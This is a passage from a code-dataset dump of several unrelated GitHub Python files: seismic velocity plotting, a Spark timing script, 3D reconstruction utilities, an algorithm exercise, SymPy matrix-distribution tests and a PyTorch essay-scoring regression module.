fontsize=12, fontweight='normal')\n ax[0].set_title(\"P Interval Velocity\", fontsize=16, fontweight='bold')\n p = ax[0].get_position().get_points().flatten()\n axis_cbar = fig.add_axes([p[0], 0.03, p[2] - p[0], 0.02])\n plt.colorbar(im1, cax=axis_cbar, orientation='horizontal')\n\n clip = 0.05\n vmax = np.max(modeled_data) * clip\n vmin = -vmax\n\n ax[1].imshow(modeled_data,\n interpolation='bilinear',\n cmap=plt.get_cmap('Greys'),\n vmin=vmin, vmax=vmax,\n aspect='auto')\n tlabels = [ii for ii, t in enumerate(tlabels) if t == 1]\n\n toff = np.zeros(len(tlabels)) + int(modeled_data.shape[1]/2)+1\n ax[1].plot(toff, tlabels, '*')\n refpred = [ii for ii, t in enumerate(refpred) if t == 1]\n toff = np.zeros(len(refpred)) + int(modeled_data.shape[1]/2)-2\n ax[1].plot(toff, refpred, 'r*')\n ax[1].set_xlabel(\"Receiver Index\", fontsize=12, fontweight='normal')\n ax[1].set_ylabel(\"Time Index,\" + \" dt = \" + str(pars.dt * 1000 * pars.resampling) + \" ms\",\n fontsize=12, fontweight='normal')\n ax[1].set_title(\"Shot Gather\", fontsize=16, fontweight='bold')\n\n ax[2].plot(vrms * (pars.vp_max-pars.vp_min) + pars.vp_min,\n np.arange(0, len(vrms)))\n ax[2].plot(vpred * (pars.vp_max - pars.vp_min) + pars.vp_min,\n np.arange(0, len(vpred)))\n ax[2].plot(vint * (pars.vp_max-pars.vp_min) + pars.vp_min,\n np.arange(0, len(vint)))\n ax[2].plot(vint_pred * (pars.vp_max - pars.vp_min) + pars.vp_min,\n np.arange(0, len(vint_pred)))\n ax[2].invert_yaxis()\n ax[2].set_ylim(top=0, bottom=len(vrms))\n ax[2].set_xlim(0.9 * pars.vp_min, 1.1 * pars.vp_max)\n ax[2].set_xlabel(\"RMS Velocity (m/s)\", fontsize=12, fontweight='normal')\n ax[2].set_ylabel(\"Time Index,\" + \" dt = \" + str(pars.dt * 1000 * pars.resampling) + \" ms\",\n fontsize=12, fontweight='normal')\n ax[2].set_title(\"P RMS Velocity\", fontsize=16, fontweight='bold')\n\n plt.show()\n\n\ndef plot_predictions_semb3(modeled_data,\n vrms, vpred,\n tlabels, refpred,\n vint, vint_pred,\n masks,\n pars, dv=30, vmin=None, vmax = None,\n clip=0.05, clipsemb=1.0,\n plot_semb = True,\n with_nmo = False,\n textlabels = None,\n savefile=None,\n vint_pred_std=None,\n vpred_std=None, tmin=None, tmax=None):\n \"\"\"\n This method creates one example by generating a random velocity model,\n modeling a shot record with it, and also computes the vrms. The three\n results are displayed side by side in a window.\n\n @params:\n\n @returns:\n \"\"\"\n\n NT = modeled_data[0].shape[0]\n ng = modeled_data[0].shape[1]\n dt = pars.resampling * pars.dt\n if vmin is None:\n vmin = pars.vp_min\n if vmax is None:\n vmax = pars.vp_max\n \n if pars.gmin ==-1 or pars.gmax ==-1:\n offsets = (np.arange(0, ng) - (ng) / 2) * pars.dh * pars.dg\n else:\n offsets = (np.arange(pars.gmin, pars.gmax, pars.dg)) * pars.dh\n\n times = np.reshape(np.arange(0, NT * dt, dt) - pars.tdelay, [-1])\n vels = np.arange(vmin - 5*dv, vmax + 2*dv, dv)\n\n if with_nmo:\n fig, ax = plt.subplots(3, 3, figsize=[11 / 2.54, 18 / 2.54])\n else:\n fig, ax = plt.subplots(3, 2, figsize=[8 / 2.54, 18 / 2.54])\n \n titles = [[\"a)\", \"b)\", \"c)\"], [\"d)\", \"e)\", \"f)\"], [\"g)\", \"h)\", \"i)\"]]\n labels = [\"True\", \"Pred\", \"Vint true\", \"Vint pred\", \"Vrms true\", \"Vrms pred\", \"Vrms std\", \"Vint std\"]\n plots = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n\n\n for ii in range(3):\n if plot_semb:\n semb = semblance_gather(modeled_data[ii], times, offsets, vels)\n\n vmax = np.max(modeled_data[ii]) * clip\n vmin = -vmax\n ax[ii, 0].imshow(modeled_data[ii],\n interpolation='bilinear',\n cmap=plt.get_cmap('Greys'),\n extent=[offsets[0] / 1000, offsets[-1] / 1000, times[-1], times[0]],\n vmin=vmin, vmax=vmax,\n aspect='auto')\n ymin, ymax = ax[ii, 0].get_ylim()\n if tmin is not None:\n if type(tmin) is list:\n ymax = tmin[ii]\n else:\n ymax = tmin\n if tmax is not None:\n if type(tmax) is list:\n ymin = tmax[ii]\n else:\n ymin = tmax\n xmin, xmax = ax[ii, 0].get_xlim()\n if tlabels is not None:\n tlabels[ii] = [jj * dt - pars.tdelay for jj, t in enumerate(tlabels[ii]) if t == 1]\n refpred[ii] = [jj * dt - pars.tdelay for jj, t in enumerate(refpred[ii]) if t == 1]\n if np.min(offsets) < 0:\n if tlabels is not None:\n tofflabels = np.zeros(len(tlabels[ii])) - 2 * pars.dh * pars.dg\n toffpreds = np.zeros(len(refpred[ii])) + 2 * pars.dh * pars.dg\n else:\n if tlabels is not None:\n tofflabels = np.zeros(len(tlabels[ii])) + np.min(np.abs(offsets)) + 1 * pars.dh * pars.dg\n toffpreds = np.zeros(len(refpred[ii])) + np.min(np.abs(offsets)) + 3 * pars.dh * pars.dg\n if tlabels is not None:\n plots[0], = ax[ii, 0].plot(tofflabels / 1000, tlabels[ii], 'r*', markersize=3)\n plots[1], = ax[ii, 0].plot(toffpreds / 1000, refpred[ii], 'b*', markersize=3)\n\n ax[ii, 0].set_xlabel(\"Offset (km)\")\n ax[ii, 0].set_ylabel(\"Time (s)\")\n #ax[ii, 0].set_title(titles[0][0])\n\n\n ax[ii, 0].text(xmin - 0.3 * (xmax-xmin), ymax + 0.1*(ymax-ymin),\n titles[0][ii], fontsize=\"large\")\n\n # ax[ii, 2 * jj].xaxis.set_ticks(np.arange(-1, 1.5, 0.5))\n\n if ii == 0:\n ax[ii, 0].legend(plots[0:2], labels[0:2], loc='upper right',\n bbox_to_anchor=(1.13, 1.29))\n if plot_semb:\n vmax = np.max(semb) * clipsemb\n vmin = np.min(semb)\n ax[ii, 1].imshow(semb,\n extent=[(vels[0] - dv / 2) / 1000,\n (vels[-1] - dv / 2) / 1000, times[-1], times[0]],\n cmap=plt.get_cmap('YlOrRd'),\n vmin=vmin, vmax=vmax,\n interpolation='bilinear',\n aspect='auto')\n if masks is not None:\n if vint is not None:\n vint[ii][masks[ii] == 0] = np.NaN\n if vrms is not None:\n vrms[ii][masks[ii] == 0] = np.NaN\n vint_pred[ii][masks[ii] == 0] = np.NaN\n vpred[ii][masks[ii] == 0] = np.NaN\n if vint is not None:\n plots[2], = ax[ii, 1].plot(vint[ii] / 1000, times, '-', color='lightgray')\n if vint_pred_std is not None:\n plots[6], = ax[ii, 1].plot((vint_pred[ii] + vint_pred_std[ii]) / 1000, times, '-', color='lightgreen', alpha=0.4)\n ax[ii, 1].plot((vint_pred[ii] - vint_pred_std[ii]) / 1000, times, '-', color='lightgreen', alpha=0.4)\n if vrms is not None:\n plots[4], = ax[ii, 1].plot(vrms[ii] / 1000, times, '-g', color='black')\n plots[5], = ax[ii, 1].plot(vpred[ii] / 1000, times, '-b')\n plots[3], = ax[ii, 1].plot(vint_pred[ii] / 1000, times, '-', color='lightgreen')\n\n if vpred_std is not None:\n plots[7], = ax[ii, 1].plot((vpred[ii] + vpred_std[ii]) / 1000, times, '-b', alpha=0.2)\n ax[ii, 1].plot((vpred[ii] - vpred_std[ii]) / 1000, times, '-b', alpha=0.2)\n\n\n ax[ii, 1].xaxis.set_ticks(np.arange(np.ceil(np.min(vels)/1000),\n 1+np.floor(np.max(vels)/1000)))\n\n ax[ii, 1].set_ylim(bottom=ymin, top=ymax)\n ax[ii, 0].set_ylim(bottom=ymin, top=ymax)\n xmin, xmax = ax[ii, 1].get_xlim()\n ax[ii, 1].set_xlabel(\"Velocity (km/s)\")\n ax[ii, 1].set_ylabel(\"Time (s)\")\n ax[ii, 1].text(xmin - 0.3 * (xmax - xmin), ymax + 0.1 * (ymax - ymin),\n titles[1][ii], fontsize=\"large\")\n if textlabels:\n ax[ii, 1].text(xmin + 0.94 * (xmax - xmin), ymax + - 0.03 * (ymax - ymin),\n textlabels[ii], ha=\"right\", va=\"top\", fontsize=\"large\")\n\n if ii == 0:\n ax[ii, 1].legend(plots[2:6], labels[2:6],\n loc='upper right',\n bbox_to_anchor=(1.15, 1.50),\n handlelength=0.4)\n if with_nmo:\n vmax = np.max(modeled_data[ii]) * clip\n vmin = -vmax\n data_nmo = nmo_correction(modeled_data[ii], times, offsets, vpred[ii], stretch_mute=0.3)\n ax[ii, 2].imshow(data_nmo,\n interpolation='bilinear',\n cmap=plt.get_cmap('Greys'),\n extent=[offsets[0] / 1000, offsets[-1] / 1000, times[-1], times[0]],\n vmin=vmin, vmax=vmax,\n aspect='auto')\n ax[ii, 2].set_ylim(bottom=ymin, top=ymax)\n ax[ii, 2].set_xlabel(\"Offset (km)\")\n ax[ii, 2].set_ylabel(\"Time (s)\")\n xmin, xmax = ax[ii, 0].get_xlim()\n ax[ii, 2].text(xmin - 0.3 * (xmax-xmin), ymax + 0.1*(ymax-ymin),\n titles[2][ii], fontsize=\"large\")\n\n plt.tight_layout(rect=[0, 0, 1, 0.995])\n if savefile:\n plt.savefig(savefile, dpi=600)\n plt.savefig(savefile+\"_lowres\", dpi=100)\n plt.show()\n\n\n\n\nif __name__ == \"__main__\":\n\n # Set pref_device_type = 4\n pref_device_type = 4\n\n # Initialize argument parser\n parser = argparse.ArgumentParser()\n\n # Add arguments to parse for training\n parser.add_argument(\n \"--logdir\",\n type=str,\n default=\"logs\",\n help=\"name of the directory to save logs : str\"\n )\n parser.add_argument(\n \"--filename\",\n type=str,\n default=\"dataset_1/dhmin40_layer_num_min5/example_1_31891\",\n help=\"name of the directory to save logs : str\"\n )\n parser.add_argument(\n \"--fileparam\",\n type=str,\n default=\"dataset_1/dhmin40_layer_num_min5/example_1_31891\",\n help=\"name of the directory that contains the model parameters: str\"\n )\n parser.add_argument(\n \"--niter\",\n type=int,\n default=5000,\n help=\"number of training iterations : int > 0\"\n )\n parser.add_argument(\n \"--nbatch\",\n type=int,\n default=10,\n help=\"number of gathers in one batch : int > 0\"\n )\n parser.add_argument(\n \"--nlayers\",\n type=int,\n default=2,\n help=\"number of layers in the model : int > 0\"\n )\n parser.add_argument(\n \"--layer_num_min\",\n type=int,\n default=5,\n help=\"number of layers in the model : int > 0\"\n )\n parser.add_argument(\"-d\", \"--device\",\n type=int,\n default=4,\n help=\"device type : int = 2 or 4, default = 2\")\n\n\n # Parse the input for training parameters\n args, unparsed = parser.parse_known_args()\n\n # Test for input errors\n def print_usage_error_message():\n print(\"\\nUsage error.\\n\")\n parser.print_help()\n\n if args.niter < 0:\n print_usage_error_message()\n exit()\n\n if args.nlayers <= -1:\n print_usage_error_message()\n exit()\n\n if args.nbatch <= 0:\n print_usage_error_message()\n exit()\n\n parameters = ModelParameters()\n parameters.read_parameters_from_disk(args.fileparam)\n parameters.device_type = args.device\n parameters.num_layers = args.nlayers\n #parameters.read_parameters_from_disk(filename='dataset_3/dhmin40_layer_num_min5/model_parameters.hdf5')\n gen = SeismicGenerator(parameters)\n\n parameters.mute_nearoffset = False\n parameters.random_static = False\n parameters.random_noise = False\n data, vrms, vint, valid, tlabels = gen.read_example(\".\", filename=args.filename)\n\n\n# data = mute_direct(data, 1500, parameters)\n# #data = random_static(data, 2)\n## data = random_noise(data, 0.01)\n## data = mute_nearoffset(data, 10)\n## data = random_filt(data, 9)\n data = np.expand_dims(data, axis=-1)\n data = np.expand_dims(data, axis=0)\n vrms = np.expand_dims(vrms, axis=0)\n vint = np.expand_dims(vint, axis=0)\n valid = np.expand_dims(valid, axis=0)\n tlabels = np.expand_dims(tlabels, axis=0)\n f = h5.File(args.filename, \"r\")\n vp = f['vp'][:]\n f.close()\n\n\n\n nn = RCNN(input_size=gen.image_size,\n batch_size=1)\n trainer = Trainer(NN=nn,\n data_generator=gen,\n totrain=False)\n\n preds = trainer.evaluate(toeval=[nn.output_ref, nn.output_vint, nn.output_vrms],\n niter=args.niter,\n dir=args.logdir,\n batch=[data, vrms, vint, valid, tlabels])\n\n refpred = np.argmax(preds[0][0,:], axis=1)\n vint_pred = preds[1]\n vpred = preds[2]\n vp = np.stack([vp] * vp.shape[0], axis=1)\n\n\n plot_predictions_semb(data[0,:,:,0],\n vp,\n vrms[0,:],\n vpred[0,:],\n tlabels[0,:],\n refpred, vint[0,:], vint_pred[0,:], parameters, with_semb=False)\n\n","repo_name":"Heretic-Li/Deep_1D_velocity","sub_path":"plot_prediction.py","file_name":"plot_prediction.py","file_ext":"py","file_size_in_byte":15553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"21147802940","text":"import time\nimport subprocess\n\nstart_time_ms = time.time()\nstart_time_ns = time.time_ns()\nwith open('SparkSimpleApp/oneString10.txt', 'r') as file:\n data = file.read()\n data = ''.join(data)\n\n\nout_file = open('stdout.log', \"w\")\nerr_file = open('stderr.log', \"w\")\np1 = subprocess.Popen([\"/Users/marwamostsafa/opt/anaconda3/bin/python\", \"spark_test.py\"], stdin=subprocess.PIPE, stdout=out_file, stderr=err_file)\n\n\nstdout_data_1 = p1.communicate(input=data.encode())[0]\n\n\nprint(\"waiting...\")\n\nout_file.close()\nerr_file.close()\nprint(\"End time in s: \", time.time() - start_time_ms)\nprint(\"End time in ns: \", time.time_ns() - start_time_ns)\n","repo_name":"marwanelsheriif/SparkVsPython","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"44087025595","text":"import cv2\n# import open3d as o3d\nimport numpy as np\nimport config\nimport matplotlib.pyplot as plt\n# import process_extrinsics\n\n\ndef gray(image):\n return cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\n\ndef write_point_cloud(file_name, points, colors):\n pcd = o3d.geometry.PointCloud()\n pcd.points = o3d.utility.Vector3dVector(points)\n pcd.colors = o3d.utility.Vector3dVector(colors)\n o3d.visualization.draw_geometries([pcd])\n o3d.io.write_point_cloud(file_name, pcd)\n\ndef construct_camera_matrix(camera_params):\n K = np.array([\n [camera_params['fx'], camera_params['s'], camera_params['cx']],\n [ 0, camera_params['fy'], camera_params['cy']],\n [ 0, 0, 1],\n ])\n\n return K\n\ndef back_project_points(K, imagePts):\n '''\n Function to back-project rays in camera frame\n\n Input:\n K - 3 x 3 - camera intrinsic matrix\n imagePts - N x 2 - image pixels\n\n Returns:\n points3D - N x 3 - 3D rays in camera frame\n '''\n\n imageHomogeneousPts = np.hstack((imagePts, np.ones((imagePts.shape[0], 1))))\n invK = np.linalg.inv(K)\n points3D = invK @ imageHomogeneousPts.T\n points3D = points3D.T\n\n return points3D\n\ndef print_camera_params():\n '''\n Function that returns string output to be written in the bundle adjustment file for camera initialization\n '''\n camera_params = config.CAMERA_PARAMS\n content = '%d %d %d\\n' % (camera_params['fx'], camera_params['k1'], camera_params['k2'])\n rotation = np.eye(3)\n translation = np.zeros(3)\n\n for i in range(3):\n rot = '%d %d %d\\n' % (rotation[i, 0], rotation[i, 1], rotation[i, 2])\n content = content + rot\n\n content = content + '0 0 0\\n'\n return content\n\ndef read_extrinsics_params(file):\n '''\n Function that reads a Camera Extrinsics file with Rodrigous parameters\n and outputs the parameters in a numpy array\n\n Input:\n file - File name\n\n Return:\n params - N*9 array of parameters\n '''\n data = np.genfromtxt(file, delimiter=',')\n data = np.delete(data, -1, 1)\n return data\n\ndef params_to_transfomation_mtx(params):\n '''\n Function that takes in the input Rodrigous parameters and\n outputs a transformation matrix\n\n Input:\n params - Rodrigous parameters\n Return:\n transformation - N * 4*4 transfomation matrices\n '''\n transformations = []\n for i in range(len(params)):\n param = params[i]\n rodrigous_rot = param[0:3]\n translation = param[3:6]\n focal_length = param[6:7]\n distortion_coeff = param[7:9]\n\n rotation_matrix, _ = cv2.Rodrigues(rodrigous_rot)\n transformation_matrix = np.eye(4)\n transformation_matrix[0:3, 0:3] = rotation_matrix\n transformation_matrix[0:3, 3] = translation\n\n transformations.append(transformation_matrix)\n\n transformations = np.array(transformations)\n\n return transformations\n\ndef params_to_projection_mtx(params):\n '''\n Function that takes in the input Rodrigous parameters and\n outputs a projection matrix\n\n Input:\n params - Rodrigous parameters\n Return:\n projections - N * 3*4 projection matrices\n '''\n projections = []\n for i in range(len(params)):\n param = params[i]\n rodrigous_rot = param[0:3]\n translation = param[3:6]\n focal_length = param[6:7]\n distortion_coeff = param[7:9]\n\n rotation_matrix, _ = cv2.Rodrigues(rodrigous_rot)\n transformation_matrix = np.eye(4)\n transformation_matrix[0:3, 0:3] = rotation_matrix\n transformation_matrix[0:3, 3] = translation\n\n K = construct_camera_matrix(camera_params)\n\n mat = transformation_matrix[:3, :]\n projection_matrix = K @ mat\n\n projections.append(projection_matrix)\n\n projections = np.array(projections)\n\n return projections\n\ndef get_transformations(file):\n params = read_extrinsics_params(file)\n transformations = params_to_transfomation_mtx(params)\n return transformations\n\ndef get_projections(file):\n params = read_extrinsics_params(file)\n projections = params_to_projection_mtx(params)\n return projections\n\ndef custom_draw_geometry_with_camera_trajectory(pcd):\n vis = o3d.visualization.Visualizer()\n vis.add_geometry(pcd)\n depth = vis.capture_depth_float_buffer(True)\n plt.imshow(depth)\n plt.imsave(\"depth.png\", np.asarray(depth), dpi = 1)\n\n\ndef point_cloud_2_depth_map(pcd):\n '''\n Create depth map out of point cloud\n Input:\n pcd - point cloud object\n '''\n points_3D = np.asarray(pcd.points)\n\n points_3D = points_3D[ points_3D[:,2] > 0, :]\n points_3D = points_3D.T\n\n min_depth = np.min(points_3D[2, :])\n max_depth = np.max(points_3D[2, :])\n\n camera_params = config.CAMERA_PARAMS\n transformations = get_transformations(config.EXTRINSIC_FILE)\n\n K = construct_camera_matrix(camera_params)\n\n points_3D = np.vstack((points_3D, np.ones((1, points_3D.shape[1]))))\n\n image_coordinates = K @ (transformations[0][:3,:] @ points_3D)\n\n image_coordinates = np.int0(image_coordinates / image_coordinates[2, :])\n\n pixel_depth_val = 255 - ((points_3D[2, :] - min_depth) * 255 / (max_depth - min_depth))\n\n depth_image = np.zeros((camera_params['cy'] * 2, camera_params['cx'] * 2))\n\n height_image = int(camera_params['cy'] * 2)\n width_image = int(camera_params['cx'] * 2)\n\n point_in_view = 0\n for i in range(image_coordinates.shape[1]):\n if image_coordinates[1, i] < depth_image.shape[0] and image_coordinates[0, i] < depth_image.shape[1] and image_coordinates[0, i] >= 0 and image_coordinates[1, i] >= 0:\n depth_image[height_image - image_coordinates[1, i], width_image - image_coordinates[0, i]] = pixel_depth_val[i]\n point_in_view +=1\n\n plt.imsave(config.SPARSE_DEPTH_MAP, depth_image, cmap='gray')\n\n return depth_image\n\n\n\ndef custom_draw_geometry(pcd):\n vis = o3d.visualization.Visualizer()\n vis.create_window()\n vis.add_geometry(pcd)\n ctr = vis.get_view_control()\n depth = vis.capture_depth_float_buffer(True)\n vis.run()\n plt.imshow(depth)\n plt.show()\n plt.imsave(\"depthq.png\", np.asarray(depth), dpi = 100, cmap='gray')\n vis.destroy_window()\n\n\nif __name__=='__main__':\n pcd = o3d.io.read_point_cloud(\"../output/final_point_cloud.ply\")\n # custom_draw_geometry(pcd)\n point_cloud_2_depth_map(pcd)\n","repo_name":"RohanChacko/3d-reconstruction-from-accidental-motion","sub_path":"src/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":6456,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"82"} +{"seq_id":"8627319080","text":"import sys\nsys.stdin = open(\"input.txt\", \"r\")\n\nT = 10\nfor test_case in range(1, T + 1):\n answer = 0\n dump = int(input())\n arr = sorted(map(int, input().split()))\n arr_length = len(arr)\n\n for i in range(dump):\n # 주어진 문제에 따라서 가장 높은 곳의 상자를 가장 낮은 곳으로 옮겨야 하므로\n # 최댓값에서 1을 빼고, 최솟값에서 1을 더한다.\n # 최댓값과 최솟값에 max와 min함수를 사용하지 않고 시작과 끝의 인덱스를 바로 넣어\n # max와 min을 구하기 위한 추가적인 정렬 연산 과정을 줄였다.\n arr[arr_length - 1] -= 1\n arr[0] += 1\n # sorted()를 사용하면 정렬된 새로운 리스트를 반환하기 때문에 sort()로 기존 arr을 정렬한다.\n arr.sort()\n\n answer = arr[arr_length - 1] - arr[0]\n\n print(f'#{test_case} {answer}')\n","repo_name":"codehikerstudy/algorithm","sub_path":"MrKeeplearning/swea/d3/1208 Flatten/(1208)Flatten.py","file_name":"(1208)Flatten.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24539551487","text":"from sympy import exp, S, sqrt, pi, symbols, Product, gamma, Dummy\nfrom sympy.matrices import Determinant, Matrix, Trace, MatrixSymbol, MatrixSet\nfrom sympy.stats import density\nfrom sympy.stats.matrix_distributions import (MatrixGammaDistribution,\n MatrixGamma, MatrixPSpace, Wishart, MatrixNormal)\nfrom sympy.testing.pytest import raises\n\n\ndef test_MatrixPSpace():\n M = MatrixGammaDistribution(1, 2, [[2, 1], [1, 2]])\n MP = MatrixPSpace('M', M, 2, 2)\n assert MP.distribution == M\n raises(ValueError, lambda: MatrixPSpace('M', M, 1.2, 2))\n\ndef test_MatrixGamma():\n M = MatrixGamma('M', 1, 2, [[1, 0], [0, 1]])\n assert M.pspace.distribution.set == MatrixSet(2, 2, S.Reals)\n assert isinstance(density(M), MatrixGammaDistribution)\n X = MatrixSymbol('X', 2, 2)\n num = exp(Trace(Matrix([[-S(1)/2, 0], [0, -S(1)/2]])*X))\n assert density(M)(X).doit() == num/(4*pi*sqrt(Determinant(X)))\n assert density(M)([[2, 1], [1, 2]]).doit() == sqrt(3)*exp(-2)/(12*pi)\n X = MatrixSymbol('X', 1, 2)\n Y = MatrixSymbol('Y', 1, 2)\n assert density(M)([X, Y]).doit() == exp(-X[0, 0]/2 - Y[0, 1]/2)/(4*pi*sqrt(\n X[0, 0]*Y[0, 1] - X[0, 1]*Y[0, 0]))\n # symbolic\n a, b = symbols('a b', positive=True)\n d = symbols('d', positive=True, integer=True)\n Y = MatrixSymbol('Y', d, d)\n Z = MatrixSymbol('Z', 2, 2)\n SM = MatrixSymbol('SM', d, d)\n M2 = MatrixGamma('M2', a, b, SM)\n M3 = MatrixGamma('M3', 2, 3, [[2, 1], [1, 2]])\n k = Dummy('k')\n exprd = pi**(-d*(d - 1)/4)*b**(-a*d)*exp(Trace((-1/b)*SM**(-1)*Y)\n )*Determinant(SM)**(-a)*Determinant(Y)**(a - d/2 - S(1)/2)/Product(\n gamma(-k/2 + a + S(1)/2), (k, 1, d))\n assert density(M2)(Y).dummy_eq(exprd)\n raises(NotImplementedError, lambda: density(M3 + M)(Z))\n raises(ValueError, lambda: density(M)(1))\n raises(ValueError, lambda: MatrixGamma('M', -1, 2, [[1, 0], [0, 1]]))\n raises(ValueError, lambda: MatrixGamma('M', -1, -2, [[1, 0], [0, 1]]))\n raises(ValueError, lambda: MatrixGamma('M', -1, 2, [[1, 0], [2, 1]]))\n raises(ValueError, lambda: MatrixGamma('M', -1, 2, [[1, 0], [0]]))\n\ndef test_Wishart():\n W = Wishart('W', 5, [[1, 0], [0, 1]])\n assert W.pspace.distribution.set == MatrixSet(2, 2, S.Reals)\n X = MatrixSymbol('X', 2, 2)\n term1 = exp(Trace(Matrix([[-S(1)/2, 0], [0, -S(1)/2]])*X))\n assert density(W)(X).doit() == term1 * Determinant(X)/(24*pi)\n assert density(W)([[2, 1], [1, 2]]).doit() == exp(-2)/(8*pi)\n n = symbols('n', positive=True)\n d = symbols('d', positive=True, integer=True)\n Y = MatrixSymbol('Y', d, d)\n SM = MatrixSymbol('SM', d, d)\n W = Wishart('W', n, SM)\n k = Dummy('k')\n exprd = 2**(-d*n/2)*pi**(-d*(d - 1)/4)*exp(Trace(-(S(1)/2)*SM**(-1)*Y)\n )*Determinant(SM)**(-n/2)*Determinant(Y)**(\n -d/2 + n/2 - S(1)/2)/Product(gamma(-k/2 + n/2 + S(1)/2), (k, 1, d))\n assert density(W)(Y).dummy_eq(exprd)\n raises(ValueError, lambda: density(W)(1))\n raises(ValueError, lambda: Wishart('W', -1, [[1, 0], [0, 1]]))\n raises(ValueError, lambda: Wishart('W', -1, [[1, 0], [2, 1]]))\n raises(ValueError, lambda: Wishart('W', 2, [[1, 0], [0]]))\n\ndef test_MatrixNormal():\n M = MatrixNormal('M', [[5, 6]], [4], [[2, 1], [1, 2]])\n assert M.pspace.distribution.set == MatrixSet(1, 2, S.Reals)\n X = MatrixSymbol('X', 1, 2)\n term1 = exp(-Trace(Matrix([[ S(2)/3, -S(1)/3], [-S(1)/3, S(2)/3]])*(\n Matrix([[-5], [-6]]) + X.T)*Matrix([[1/4]])*(Matrix([[-5, -6]]) + X))/2)\n assert density(M)(X).doit() == term1/(24*pi)\n assert density(M)([[7, 8]]).doit() == exp(-S(1)/3)/(24*pi)\n d, n = symbols('d n', positive=True, integer=True)\n SM2 = MatrixSymbol('SM2', d, d)\n SM1 = MatrixSymbol('SM1', n, n)\n LM = MatrixSymbol('LM', n, d)\n Y = MatrixSymbol('Y', n, d)\n M = MatrixNormal('M', LM, SM1, SM2)\n exprd = 4*(2*pi)**(-d*n/2)*exp(-Trace(SM2**(-1)*(-LM.T + Y.T)*SM1**(-1)*(-LM + Y)\n )/2)*Determinant(SM1)**(-d)*Determinant(SM2)**(-n)\n assert density(M)(Y).doit() == exprd\n raises(ValueError, lambda: density(M)(1))\n raises(ValueError, lambda: MatrixNormal('M', [1, 2], [[1, 0], [0, 1]], [[1, 0], [2, 1]]))\n raises(ValueError, lambda: MatrixNormal('M', [1, 2], [[1, 0], [2, 1]], [[1, 0], [0, 1]]))\n raises(ValueError, lambda: MatrixNormal('M', [1, 2], [[1, 0], [0, 1]], [[1, 0], [0, 1]]))\n raises(ValueError, lambda: MatrixNormal('M', [1, 2], [[1, 0], [2]], [[1, 0], [0, 1]]))\n raises(ValueError, lambda: MatrixNormal('M', [1, 2], [[1, 0], [2, 1]], [[1, 0], [0]]))\n raises(ValueError, lambda: MatrixNormal('M', [[1, 2]], [[1, 0], [0, 1]], [[1, 0]]))\n raises(ValueError, lambda: MatrixNormal('M', [[1, 2]], [1], [[1, 0]]))\n","repo_name":"peachcba/sympy","sub_path":"sympy/stats/tests/test_matrix_distributions.py","file_name":"test_matrix_distributions.py","file_ext":"py","file_size_in_byte":4732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"4014410156","text":"\"\"\"\n@created by: heyao\n@created at: 2022-11-16 19:15:57\n\"\"\"\nimport numpy as np\nimport torch\nfrom omegaconf import DictConfig\nimport torch.nn as nn\nfrom sklearn.metrics import mean_squared_error\nfrom feedback_ell.modules.base import BaseLightningModule\nfrom feedback_ell.nn.poolers import MultiPooling\nfrom feedback_ell.utils import label_columns\n\n\nclass NeuralTensorLayer(nn.Module):\n def __init__(self, hidden_size, k=128):\n super(NeuralTensorLayer, self).__init__()\n self.bi_linear = nn.Bilinear(hidden_size, hidden_size, k)\n self.v_product = nn.Linear(hidden_size * 2, k)\n self.bias = nn.Parameter(torch.zeros((1, )), requires_grad=True)\n self.tanh = nn.Tanh()\n self.sigmoid = nn.Sigmoid()\n self.u = nn.Linear(k, 1)\n\n def forward(self, x1, x2):\n y1 = self.bi_linear(x1, x2)\n y2 = self.v_product(torch.cat([x1, x2], dim=1)) + self.bias\n return self.sigmoid(self.u(self.tanh(y1 + y2)))\n\n\nclass CohesionRegressionModule(BaseLightningModule):\n \"\"\"This is the model module for regression\"\"\"\n def __init__(self, config: DictConfig):\n super().__init__(config)\n trained_target = self.config.train.trained_target\n if not trained_target:\n trained_target = [0, 1, 2, 3, 4, 5]\n self.trained_target = trained_target\n self.has_weight = \"weight\" in self.config.train.loss and self.config.train.reweight is not None\n self.skip = 64\n hidden_size = self.backbone.config.hidden_size\n self.customer_pooling = MultiPooling(pooling_name=\"lstm\", hidden_size=self.feature_size // 2)\n self.pooling = MultiPooling(pooling_name=\"meanmax\", hidden_size=self.feature_size // 2)\n k = 64\n self.neural_tensor_layer = NeuralTensorLayer(hidden_size, k)\n self.cohesion_head = nn.LazyLinear(1)\n self.other_head = nn.Linear(hidden_size * 2, 5)\n\n def compute_loss(self, logits, labels, weight=None):\n if self.has_weight:\n return self.criterion(logits[:, self.trained_target], labels[:, self.trained_target], weights=weight)\n return self.criterion(logits[:, self.trained_target], labels[:, self.trained_target])\n\n def forward(self, train_batch, un_batch=None):\n x = train_batch[0]\n feature = self.get_feature(x[\"input_ids\"], x[\"attention_mask\"], position_ids=x.get(\"position_ids\", None))\n step_size = feature.shape[1]\n cohesion_features = []\n skip = self.skip if step_size > self.skip else 16\n for i in range(self.config.train.max_length // self.skip - 1):\n v_a = feature[:, (1 + i * skip) % (step_size - 1)]\n v_b = feature[:, (1 + (i + 1) * skip) % (step_size - 1)]\n cohesion_features.append(self.neural_tensor_layer(v_a, v_b))\n cohesion_features = torch.cat(cohesion_features, dim=1)\n feature = self.pooling(feature)\n cohesion_feature = torch.cat([cohesion_features, feature], dim=1)\n cohesion = self.cohesion_head(cohesion_feature)\n others = self.other_head(feature)\n out = torch.cat([cohesion, others], dim=1)\n return out\n\n def training_step(self, batch, batch_index):\n if self.has_weight:\n x, y, weight = batch\n else:\n x, y = batch\n weight = None\n logits = self(batch)\n loss = self.compute_loss(logits, y, weight)\n self.train_losses.update(loss.item(), n=y.shape[0])\n self.train_metrics.update(y.detach().cpu().numpy()[:, self.trained_target],\n logits.detach().cpu().numpy()[:, self.trained_target])\n self.log(\"train/loss\", self.train_losses.avg, 